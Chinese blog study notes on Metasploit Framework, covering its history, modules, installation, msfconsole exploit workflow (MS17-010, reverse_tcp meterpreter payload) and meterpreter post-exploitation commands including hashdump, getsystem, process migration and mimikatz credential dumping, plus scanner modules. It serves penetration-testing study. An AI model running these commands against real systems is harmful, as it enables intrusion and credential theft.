【笔记】MSF学习笔记

发表于 2022-02-11 更新于 2025-12-19 阅读次数：

前言

Metasploit项目是一个旨在提供安全漏洞信息计算机安全项目，可以协助安全工程师进行渗透测试（penetration testing）及入侵检测系统签名开发。（维基百科）

发展历史

2003年10月 HD Moore 使用 Perl语言开发了 Metasploit v1.0
2004年4月在 Spoonm 的帮助下，完全重写了 Metasploit 的代码。主要更新：18个攻击模块和27个攻击载荷，并提供了控制台终端、命令行、Web三个使用接口
2004年8月 HD 和 Spoonm 带着最新发布的 Metasploit v2.0 在拉斯维加斯举办的BlackHat全球开发者大会上进行了演讲
2005年 在CanSecWest和黑客会议上，HD 和 Spoonm 指出Perl版本的Metasploit有很多问题，经历了18个月之后，Metasploit团队使用Ruby语言完全重写了Metasploit，发布了Metasploit v3.0。主要更新：177个攻击模块、104个攻击载荷、30个辅助模块
2009年10月 Metasploit被Rapid7公司收购
2010年10月 Rapid7公司发布了商业版本：Metasploit Express、Metasploit Pro
2011年8月 Metasploit 团队发布了v4.0版本。主要更新：引入了后渗透攻击模块（用于长期权限位置和攻击成果扩展）
2019年1月 Metasploit 团队发布了v5.0版本。主要更新：引入了新模块evasion capabilities（用于杀软免杀）

技术架构

辅助模块：为渗透测试的信息收集环节提供了支持，包括针对各种网络服务的扫描与查点、构建虚假服务收集密码、口令猜测破解、敏感信息嗅探、探查敏感信息泄漏、Fuzz测试发掘漏洞、实施网络协议欺骗等
渗透攻击模块：利用发现的安全漏洞或配置弱点对目标系统进行攻击，以植入和运行攻击载荷，从而获取远程目标系统访问权
- 主动渗透攻击：主动渗透攻击所利用的漏洞位于服务端软件与服务承载上层应用程序中
- 被动渗透攻击：被动渗透攻击所利用的漏洞位于客户端软件中，例如：浏览器、浏览器插件、电子邮件客户端等
攻击载荷模块：在渗透攻击成功后使目标系统运行一段植入代码，通常用于为渗透这打开在目标系统上的控制会话连接
空指令模块：一些对程序运行不会构成任何实质影响的空指令或者无关操作指令，例如：在x86架构的CPU主机上操作码是0x90
编辑器模块：确保攻击载荷中不会出现渗透攻击过程中应加以避免的坏字符；对攻击载荷进行免杀处理
后渗透模块：提供攻击跳板
免杀模块：对载荷进行免杀处理

Metasploit Framework

安装

通过官方一键安装脚本安装

1
2
3

curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
chmod 755 msfinstall
./msfinstall

通过Linux包管理工具安装

Kali

1	apt install metasploit-framework

安装位置：/usr/share/metasploit-framework

Debian

将Kali的软件源添加到Debian的软件源列表

/etc/apt/sources.list

1 2	deb http://mirrors.aliyun.com/kali kali-rolling main non-free contrib deb-src http://mirrors.aliyun.com/kali kali-rolling main non-free contrib

安装签名

1	wget -q -O - https://archive.kali.org/archive-key.asc \| apt-key add

更新软件源

1	apt update

安装MSF

1	apt install metasploit-framework

更新

msfupdate

初始化漏洞数据库

首次使用

1	msfdb init

启动msf控制台

1	msfconsole

msf命令

查找漏洞

17：指的是漏洞发现的年份
010：指的是当年发现的漏洞的编号

1	msf > search ms17_010

使用漏洞利用的模块

一个模块就是一个.rb的Ruby脚本

<name>：模块名

1	msf > use <name>

模块的位置：/usr/share/metasploit-framework/modules

查看漏洞所有详情

1	msf exploit(...) > info

查看漏洞选项详情

1	msf exploit(...) > show options

查看可用的攻击手段

1	msf exploit(...) > show payloads

查看可执行的操作系统

1	msf exploit(...) > show targets

设置漏洞利用的参数

根据列出的Module options，查看所有选项，然后查看必选选项，也就是Required字段为yes的数据，如果此条数据的Current Setting为空，需要添加参数

RHOST：参数名
127.0.0.1：参数值

1	msf exploit(...) > set RHOST 127.0.0.1

设置漏洞利用的攻击手段

根据列出的Payload options，查看所有选项，然后查看必选选项，也就是Required字段为yes的数据，如果此条数据的Current Setting为空，需要添加参数

payload/windows/x64/meterpreter/reverse_tcp：攻击手段名

1	msf exploit(...) > set payload payload/windows/x64/meterpreter/reverse_tcp

开始执行漏洞利用

1	msf exploit(...) > exploit

1	msf exploit(...) > run

返回使用脚本之前

1	msf exploit(...) > back

jobs

查看所有jobs

1	msf > jobs

关闭所有jobs

1	msf > jobs -K

Windows上线

传送门

Linux上线

传送门

Android上线

传送门

meterpreter命令

获取反弹shell后的命令

查看可以对对方使用的所有命令

1	meterpreter > help

会话切换到后台

将meterpreter终端隐藏在后台，继续使用msf终端

1	meterpreter > background

查看所有后台的会话

-i：切入后台会话

1	meterpreter > session

切换指定编号的会话

<id>：会话的编号

1	meterpreter > session <id>

获取对方系统Shell

1	meterpreter > shell

关闭当前会话

1	meterpreter > exit

1	meterpreter > quit

类似Shell命令的基本命令

<dir>：切换的目录
<file>：文件路径

# 切换路径
meterpreter > cd <dir>

# 查看当前路径下的文件
meterpreter > ls

# 查看当前所在的路径
meterpreter > pwd

# 查看文件内容
meterpreter > cat <file>

# 使用vim编辑器打开指定文件
meterpreter > edit <file>

搜索文件

# 查看帮助
meterpreter > search -h

# 搜索文件
meterpreter > search -f *.txt

查看配置信息

# 查看系统信息
meterpreter > sysinfo

# 查看当前用户（权限）
meterpreter > getuid

# 查看所有进程
meterpreter > ps

# 查看当前进程id
meterpreter > getpid

# 查看网卡信息
meterpreter > ifconfig
meterpreter > ipconfig

# 查看路由信息
meterpreter > route

切换进程

将当前的进程切换（附加）到另一个进程上（Windows上通常切换到explorer.exe上）
只能从高权限用户的进程切到低权限用户的进程

<pid>：进程编号

1	meterpreter > migrate <pid>

上传/下载文件

上传文件

<file_source>：本机的指定文件路径
<file_target>：目标的指定文件路径

1	meterpreter > upload <file_source> <file_target>

下载文件

<file>：目标的指定文件路径

1	meterpreter > download <file>

执行文件

执行目标的可执行文件并返回运行后的进程id

<file>：目标的文件路径

# 查看帮助
meterpreter > execute -h

# 执行文件
meterpreter > execute -f <file>

结束进程

根据进程id关闭指定程序的进程

<pid>：进程id

1	meterpreter > kill <pid>

关机

1	meterpreter > shutdown

屏幕快照

在本机当前路径下生成一个随机文件名的目标屏幕快照文件

1	meterpreter > screenshot

获取系统权限

1	meterpreter > getsystem

获取密码

1	meterpreter > hashdump

联动mimikatz

载入模块

1	meterpreter > load kiwi

查看帮助

1	meterpreter > help kiwi

查看所有凭据

1	meterpreter > creds_all

使用mimikatz完整功能

1	meterpreter > kiwi_cmd sekurlsa::logonpasswords

常用的漏洞利用模块

敏感目录扫描

auxiliary/scanner/http/dir_scanner

主机发现

auxiliary/scanner/discovery/arp_sweep：ARP扫描，枚举网络中所有的活跃主机
auxiliary/scanner/discovery/empty_udp：空扫描
auxiliary/scanner/discovery/ipv6_multicast_ping
auxiliary/scanner/discovery/ipv6_neighbor
auxiliary/scanner/discovery/ipv6_neighbor_router_advertisement
auxiliary/scanner/discovery/udp_probe
auxiliary/scanner/discovery/udp_sweep

端口扫描

auxiliary/scanner/portscan/ack
auxiliary/scanner/portscan/syn：扫描速度较快，结果比较准，不易被察觉
auxiliary/scanner/portscan/xmas
auxiliary/scanner/portscan/ftpbounce
auxiliary/scanner/portscan/tcp

服务查点

auxiliary/scanner/telnet/telnet_version：查看是否开启telnet服务
auxiliary/scanner/ssh/ssh_version：查看是否开启ssh服务
auxiliary/scanner/mssql/mssql_ping：查看是否开启Microsoft SQL Server服务